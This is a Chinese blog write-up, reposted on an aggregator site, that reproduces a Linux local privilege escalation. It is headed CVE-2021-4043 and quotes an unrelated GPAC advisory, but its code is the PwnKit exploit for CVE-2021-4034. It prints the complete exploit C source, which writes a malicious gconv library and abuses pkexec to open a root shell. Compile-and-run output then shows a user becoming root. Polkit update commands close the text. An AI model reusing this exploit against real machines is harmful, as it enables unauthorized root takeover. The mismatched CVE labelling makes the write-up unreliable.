栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

【CVE-2021-4043】Linux本地提权漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【CVE-2021-4043】Linux本地提权漏洞复现

实验步骤

文章目录
  • 实验步骤
  • CVE-2021-4043 Linux本地提权漏洞
  • 实验背景
  • 实验环境
  • 漏洞复现
            • 构造payload
            • 用gcc编译后上传到阿里云
            • 执行payload
  • 漏洞修复

CVE-2021-4043 Linux本地提权漏洞
CNVD-ID CNVD-2022-22323
公开日期 2022-03-24
危害级别 中 (AV:N/AC:M/Au:N/C:N/I:N/A:P)
影响产品 GPAC GPAC <1.1.0
CVE ID CVE-2021-4043
漏洞描述 GPAC是一款开源的多媒体框架。
GPAC 1.1.0之前版本存在代码问题漏洞,该漏洞源于软件中存在NULL指针解引用。目前没有详细漏洞细节提供
漏洞类型 通用型漏洞
参考链接 https://nvd.nist.gov/vuln/detail/CVE-2021-4043
漏洞解决方案 目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://github.com/gpac/gpac/commit/64a2e1b799352ac7d7aad1989bc06e7b0f2b01db
厂商补丁 gpac代码问题漏洞(CNVD-2022-22323)的补丁
验证信息 (暂无验证信息)
报送时间 2022-02-10
收录时间 2022-03-24
更新时间 2022-03-24
实验背景

今天登录阿里云服务器突然发现了一个提权漏洞,先利用一波玩玩。

实验环境
  • 带有漏洞的centos7系统

  • 附带编译好的palyload下载链接CVE-2021-4034

漏洞复现 构造payload

在GitHub找到了payloadhttps://github.com/arthepsy/CVE-2021-4034

#include 
#include 
#include 

char *shell = 
	"#include n"
	"#include n"
	"#include nn"
	"void gconv() {}n"
	"void gconv_init() {n"
	"	setuid(0); setgid(0);n"
	"	seteuid(0); setegid(0);n"
	"	system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");n"
	"	exit(0);n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
用gcc编译后上传到阿里云
[root@local ~]# touch cve20124043.c
[root@local ~]# vim cve20124043.c
[root@local ~]# ls
cve20124043.c  
[root@local ~]# gcc cve20124043.c   -o cve20124043
[root@local ~]# ls
cve20124043  cve20124043.c  

执行payload
[rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ ls
cve20124043                                                //上传编译好的paload  

[rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ id                     //查看用户为rabbit

uid=1004(rabbit) gid=1004(rabbit) groups=1004(rabbit)
[rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ ./cve20124043          //执行payload

sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1004(rabbit)        //成功提权

漏洞修复

CentOS 用户可采用如下命令升级到安全版本或更高版本:

yum clean all && yum makecache yum update polkit -y

验证修复,通过以下命令可查看 Polkit 是否为安全版本:

rpm -qa polkit

Ubuntu 用户可采用如下命令升级至安全版本或更高版本:

sudo apt-get update sudo apt-get install policykit-1

验证修复,通过以下命令可查看 Polkit 是否为安全版本:

dpkg -l policykit-1

原文链接https://qu1u1.cn/archives/cve-2021-4043

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/826702.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号